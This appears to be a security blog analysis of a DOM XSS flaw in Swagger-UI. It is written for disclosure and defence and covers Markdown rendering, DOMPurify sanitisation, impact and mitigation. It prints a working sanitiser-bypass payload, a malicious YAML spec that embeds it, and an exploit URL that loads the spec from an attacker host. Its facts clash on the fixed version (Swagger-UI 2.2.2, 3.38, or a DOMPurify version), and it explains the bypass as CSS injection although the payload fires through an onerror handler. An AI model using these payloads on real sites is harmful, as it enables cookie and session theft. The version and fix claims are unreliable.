Analysis of CVE-2016-1000226: XSS in Swagger-UI
CVE-2016-1000226[1] is a cross-site scripting (XSS)[2] vulnerability in Swagger-UI[3], disclosed on July 21, 2016, affecting versions prior to 2.2.2. This vulnerability allows an attacker to inject malicious scripts into API input parameters and within its Swagger JSON document generation.
This publication is also available in: Portugues
What is Swagger-UI?
Swagger-UI is an open-source tool that displays API specifications in a developer-friendly graphical interface. Widely used for managing, documenting, and testing APIs, it allows easy visualization and interaction with RESTful APIs directly in the browser.
This tool operates based on the Swagger document, which describes the API, using a JavaScript library to process and render the content graphically on the screen.
Vulnerability
Although the Swagger-UI has a significant history of XSS vulnerabilities, all previous vulnerabilities required user interaction for a successful exploitation. The current vulnerability, however, is a DOM XSS that does not require such interaction. Since the vulnerability is controlled by query parameters, an attacker can exploit it without any user involvement.
This flaw arises from Swagger-UI’s use of an outdated version of the DOMPurify[4] library in versions prior to 2.2.2, which prevents proper sanitization of user-provided input parameters.
How does Swagger UI render API specifications?
The process begins with creating a Swagger document (OpenAPI Specification), that defines the API structure, including endpoints, methods, parameters, and other relevant information about the API. This document is typically written in YAML or JSON format.
Then, when accessing Swagger-UI in the browser and providing the URL or file containing the Swagger document, the interface starts the document loading process. This can be done either through the API URL where the Swagger document is hosted or by directly uploading the file.
Let’s focus on the function that enables loading a Swagger document via a URL, which can be done in two ways:
- ?url=https://host/spec.yaml
- ?configUrl=https://host/file.json
Next, Swagger fetches the JSON configuration or YAML API specifications, processes them, and renders the content in the user’s browser. Additionally, it interprets any description fields in the API specification as Markdown[5].
Example of how YAML[6] specifications are structured:
swagger: '2.0'
info:
title: Example yaml.spec
description: This is an example text \*\*HELLO FROM MARKDOWN\*\*
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
\- accounts
operationId: findAccounts
summary: Finds all accounts
Helper function used to render Markdown in the Swagger UI:
// src/components/providers/markdown.jsx
function Markdown({ source, className \= "", getConfigs }) {
... omitted ...
const md \= new Remarkable({
html: true,
typographer: true,
breaks: true,
linkTarget: "\_blank"
}).use(linkify)
md.core.ruler.disable(\["replacements", "smartquotes"\])
const { useUnsafeMarkdown } \= getConfigs()
const html \= md.render(source)
const sanitized \= sanitizer(html, { useUnsafeMarkdown })
if (\!source || \!html || \!sanitized) {
return null
}
return (
\<div className={cx(className, "markdown")} dangerouslySetInnerHTML=\>\</div\>
)
}
The sanitizer function uses DOMPurify to sanitize the input string, with an additional configuration that explicitly forbids the HTML <style> tag. However, this restriction can be bypassed using the <textarea> and <title> tags, which can “simulate” the behavior of the <style> tag. This method works because the <textarea> and <title> tags allow inserting CSS into an HTML attribute, serving a similar purpose to the <style> tag in this bypass. This behavior is then exploited to inject CSS that executes JavaScript.
The DOMPurify library used by Swagger-UI doesn’t explicitly prevent the use of CSS with HTML attributes, allowing the following bypass:
\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(1)'\>"\>
Exploitation
The exploitation relies on Swagger’s processing any description field in the API specification as Markdown. Therefore, inserting the bypass in the following payload is sufficient:
swagger: '2.0'
info:
title: Example yaml.spec
description: |
\<math\>\<mtext\>\<option\>\<FAKEFAKE\>\<option\>\</option\>\<mglyph\>\<svg\>\<mtext\>\<textarea\>\<a title="\</textarea\>\<img src='\#' onerror='alert(document.domain)'\>"\>
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
\- accounts
operationId: findAccounts
summary: Finds all accounts
With the malicious payload created, simply load the YAML specification file at the URL of the vulnerable application:
https://site-vulneravel.com/swagger-ui.html?url=https://site-malicioso.com/payload-swagger-ui.yml
Evidence of the payload being triggered:
Impact
The successful exploitation of this vulnerability can lead to several negative impacts, including:
- Theft of cookies and user sessions, allowing an attacker to assume the user’s identity and access confidential information.
- Exposure of sensitive data, such as passwords, payment details, and other personal information.
- Access to privileged services and functionalities, enabling an attacker to perform malicious actions on behalf of the compromised user.
Mitigation
The XSS vulnerability affects Swagger-UI versions prior to 2.2.2. If you are using a version prior to 3.38, it is recommended to upgrade to the latest version. If a full package update is not possible, consider updating only DOMPurify to a version higher than 2.2.2.
Conclusion
The root cause of the vulnerability is an outdated version of the DOMPurify library, responsible for sanitizing user input. Exploitation occurs when Swagger processes its document, which may contain malicious code, especially API specification descriptions, where Swagger-UI interprets the content as Markdown.
Potential impacts of successful exploitation include cookie and session theft, exposure of sensitive information, and unauthorized access to privileged services on behalf of the victim.
The recommended mitigation is to update Swagger-UI to version 2.2.2 or later. If a full package update is not feasible, updating DOMPurify to a version above 2.2.2 is advised.
References